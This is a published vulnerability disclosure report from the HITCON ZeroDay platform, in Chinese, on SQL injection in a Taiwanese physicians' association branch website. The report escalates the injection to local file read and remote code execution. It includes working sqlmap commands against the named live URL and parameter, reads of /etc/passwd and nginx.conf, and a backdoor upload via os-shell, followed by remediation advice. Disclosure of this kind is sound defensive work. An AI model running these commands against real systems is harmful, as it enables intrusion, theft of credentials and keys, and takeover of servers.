Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2024-01244
- Vendor: 中華民國醫師公會全國聯合會西醫基層醫療服務審查執行會南區分會
- Title: 中華民國醫師公會全國聯合會西醫基層醫療服務審查執行會南區分會 SQLi、SQLi to LFI、 SQLi to RCE、敏感資訊洩漏
- Introduction: SQL注入、LFI、RCE、敏感資訊洩漏
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2024/10/06 05:21:23 : 新提交 (由 {{萌新}} 更新此狀態)
- 2024/10/06 16:40:20 : 新提交 (由 {{萌新}} 更新此狀態)
- 2024/10/06 16:56:06 : 新提交 (由 {{萌新}} 更新此狀態)
- 2024/10/07 05:54:52 : 新提交 (由 {{萌新}} 更新此狀態)
- 2024/10/07 11:10:40 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/10/10 17:25:10 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/10/10 17:25:10 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/10/10 17:25:10 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/12/06 03:00:13 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2024-01244
- 通報者:nhd1261 ({{萌新}})
- 風險:嚴重
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
透過SQLmap測試發現注入點。
SQLi:
Payload:
python sqlmap.py "http://www.doctorsmail90.org.tw/medical_activate.php?id=1209" --random-agent --thread 10 --batch --dbs
進一步讀取passwd成功。
SQLi to LFI:
Payload:
python sqlmap.py "http://www.doctorsmail90.org.tw/medical_activate.php?id=1209" --random-agent --thread 10 --batch file-read "/etc/passwd"
因為網站使用的是nginx,嘗試讀取nginx.conf等檔案成功。
python sqlmap.py "http://www.doctorsmail90.org.tw/medical_activate.php?id=1209" --random-agent --thread 10 --batch file-read "/etc/nginx/nginx.conf"
python sqlmap.py
透過nginx.conf,發現證書與私鑰路徑,可以以同樣方式獲得網站證書與私鑰。
dirseach:
發現一個錯誤日誌與upload。
SQLi to RCE:
一開始嘗試os-shell失敗,檢視nginx.conf,裡面有網站根目錄,結合dirsearch發現的upload目錄,繼續嘗試,最終成功上傳後門。
python sqlmap.py "http://www.doctorsmail90.org.tw/medical_activate.php?id=1209" --random-agent --thread 10 --os-shell
手動設置路徑:
/home/doctorsmail90/upload/
獲得www-data用戶權限。
此伺服器上不只一家網站,此漏洞將影響多個單位。
測試時有一個上傳成功但執行失敗且無法刪除的shell,請協助刪除。
其餘獲得檔案與後門程式在測試結束後皆以刪除。
修補建議
1. 修補 SQL 注入漏洞
使用預處理語句(Prepared Statements): 預處理語句可以防止 SQL 注入,因為查詢和數據是分開的,數據不會影響查詢的結構。
驗證並過濾輸入: 針對所有用戶輸入進行嚴格的驗證和過濾,避免將未經驗證的輸入直接插入 SQL 查詢。
限制權限: 只給應用程式最低限度的數據庫權限,避免使用 root 或具備過多權限的帳號進行查詢。
2. 檔案讀取漏洞修補
限制檔案路徑存取: 使用嚴格的存取控制,禁止網站服務帳號對系統敏感檔案(如 /etc/passwd, /etc/nginx/nginx.conf)的讀取權限。
強制使用白名單: 只允許合法檔案或目錄的存取,阻止任意路徑讀取。
移除不必要的檔案: 確保伺服器上沒有未經必要的敏感檔案、日誌或備份,並定期進行檢查。
3. Nginx 配置加強
隱藏伺服器版本信息: 在 Nginx 的配置中,加入 server_tokens off; 隱藏 Nginx 版本信息,避免攻擊者獲取伺服器信息。
SSL 憑證安全儲存: 限制憑證和私鑰檔案的讀取權限,確保只有 Nginx 進程能夠讀取這些檔案,防止未授權的讀取。
4. 檔案上傳保護
嚴格的上傳驗證: 實施嚴格的檔案上傳驗證,限制上傳檔案的類型,並使用 MIME 類型檢查和檔案副檔名限制。
隔離上傳檔案目錄: 將上傳檔案目錄設置為不可執行,通過修改 Nginx 設定或檔案系統權限來防止上傳檔案被執行。